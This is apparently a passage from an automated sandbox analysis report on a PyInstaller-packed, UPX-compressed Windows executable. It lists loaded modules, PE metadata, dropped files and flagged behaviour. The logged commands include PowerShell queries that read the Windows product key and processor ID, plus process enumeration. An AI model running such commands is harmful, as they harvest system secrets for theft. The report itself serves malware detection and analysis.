              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vbscript.dll
              Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sxs.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\tasklist.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
              Source: riFSkYVMKB.exeStatic PE information: Image base 0x140000000 > 0x60000000
              Source: riFSkYVMKB.exeStatic file information: File size 7960487 > 1048576
              Source: riFSkYVMKB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
              Source: riFSkYVMKB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
              Source: riFSkYVMKB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
              Source: riFSkYVMKB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: riFSkYVMKB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
              Source: riFSkYVMKB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
              Source: riFSkYVMKB.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: riFSkYVMKB.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2288100805.00007FFDA5491000.00000040.00000001.01000000.0000000D.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: riFSkYVMKB.exe, 00000002.00000002.2280851953.00007FFD93997000.00000040.00000001.01000000.00000013.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2286990153.00007FFDA3741000.00000040.00000001.01000000.00000006.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb| source: riFSkYVMKB.exe, 00000002.00000002.2281693316.00007FFD93FDA000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287230056.00007FFDA3A81000.00000040.00000001.01000000.00000011.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdbDD source: riFSkYVMKB.exe, 00000002.00000002.2285944180.00007FFDA3615000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WA source: riFSkYVMKB.exe
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: riFSkYVMKB.exe, 00000002.00000002.2286816753.00007FFDA36EB000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.15 3 Sep 20243.0.15built on: Wed Sep 4 15:52:04 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"userSDIR: "C:\Program Files\OpenSSL\lib\users-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL || WITHIN_ARENA(temp->next)assertion failed: (char **)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) || WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/*0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_p
              Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287916579.00007FFDA4DA1000.00000040.00000001.01000000.00000012.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: riFSkYVMKB.exe, 00000002.00000002.2286816753.00007FFDA36EB000.00000040.00000001.01000000.00000008.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287575214.00007FFDA3BF1000.00000040.00000001.01000000.00000009.sdmp
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: riFSkYVMKB.exe, 00000000.00000003.2108844334.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2287755660.00007FFDA4174000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: riFSkYVMKB.exe, 00000002.00000002.2281693316.00007FFD93F42000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: riFSkYVMKB.exe, 00000000.00000003.2108844334.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2287755660.00007FFDA4174000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp
              Source: Binary string: D:\a\1\b\libcrypto-3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2281693316.00007FFD93FDA000.00000040.00000001.01000000.0000000F.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2287391398.00007FFDA3AE1000.00000040.00000001.01000000.0000000C.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2286642317.00007FFDA36A1000.00000040.00000001.01000000.0000000A.sdmp
              Source: Binary string: D:\a\1\b\bin\amd64\python313.pdb source: riFSkYVMKB.exe, 00000002.00000002.2284437276.00007FFD94658000.00000040.00000001.01000000.00000004.sdmp
              Source: Binary string: D:\a\1\b\libssl-3.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2285944180.00007FFDA3615000.00000040.00000001.01000000.00000010.sdmp
              Source: Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000012.00000000.2189812422.00007FF68A270000.00000002.00000001.01000000.00000018.sdmp, rar.exe, 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmp, rar.exe.0.dr
              Source: Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: riFSkYVMKB.exe, riFSkYVMKB.exe, 00000002.00000002.2286414018.00007FFDA366E000.00000040.00000001.01000000.0000000E.sdmp
              Source: riFSkYVMKB.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
              Source: riFSkYVMKB.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
              Source: riFSkYVMKB.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
              Source: riFSkYVMKB.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
              Source: riFSkYVMKB.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

              Data Obfuscation

              barindex
              Suspicious powershell command line found
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
              Source: VCRUNTIME140.dll.0.drStatic PE information: 0x78BDDED1 [Sat Mar 11 17:01:05 2034 UTC]
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD939A0350 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,2_2_00007FFD939A0350
              Source: python313.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x1cb64b
              Source: _ctypes.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x1f35a
              Source: unicodedata.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x46d69
              Source: _bz2.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0xdba7
              Source: libffi-8.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xa1d1
              Source: _ssl.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x17cae
              Source: sqlite3.dll.0.drStatic PE information: real checksum: 0x0 should be: 0xa8f8a
              Source: libcrypto-3.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x197f77
              Source: riFSkYVMKB.exeStatic PE information: real checksum: 0x79db19 should be: 0x79c578
              Source: _queue.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x11959
              Source: _socket.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x1a226
              Source: _decimal.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x1fcc8
              Source: _hashlib.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0xdd74
              Source: libssl-3.dll.0.drStatic PE information: real checksum: 0x0 should be: 0x4330c
              Source: select.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x7797
              Source: _lzma.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x21293
              Source: _sqlite3.pyd.0.drStatic PE information: real checksum: 0x0 should be: 0x15eca
              Source: libffi-8.dll.0.drStatic PE information: section name: UPX2
              Source: VCRUNTIME140.dll.0.drStatic PE information: section name: fothk
              Source: VCRUNTIME140.dll.0.drStatic PE information: section name: _RDATA
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD938FAC25 push rcx; ret 2_2_00007FFD938FAC62
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD9411267D push rbx; retf 2_2_00007FFD94112685
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFD941127AE push rsp; iretd 2_2_00007FFD941127B9
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 2_2_00007FFDA35B4331 push rcx; ret 2_2_00007FFDA35B4332
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32D0D2A5 pushad ; iretd 8_2_00007FFD32D0D2A6
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E220C2 push ebx; iretd 8_2_00007FFD32E220C3
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E2862D push ebx; ret 8_2_00007FFD32E286CA
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_00007FFD32E2861D push ebx; ret 8_2_00007FFD32E2862A
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: initial sampleStatic PE information: section name: UPX0
              Source: initial sampleStatic PE information: section name: UPX1
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\libcrypto-3.dllJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\libffi-8.dllJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\python313.dllJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\select.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_ctypes.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_lzma.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_queue.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\libssl-3.dllJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_ssl.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_bz2.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\VCRUNTIME140.dllJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_sqlite3.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_socket.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_hashlib.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\unicodedata.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\rar.exeJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\_decimal.pydJump to dropped file
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI51442\sqlite3.dllJump to dropped file

              Hooking and other Techniques for Hiding and Protection

              barindex
              Loading BitLocker PowerShell Module
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
              Source: C:\Users\user\Desktop\riFSkYVMKB.exeCode function: 0_2_00007FF79D0576B0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,0_2_00007FF79D0576B0
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
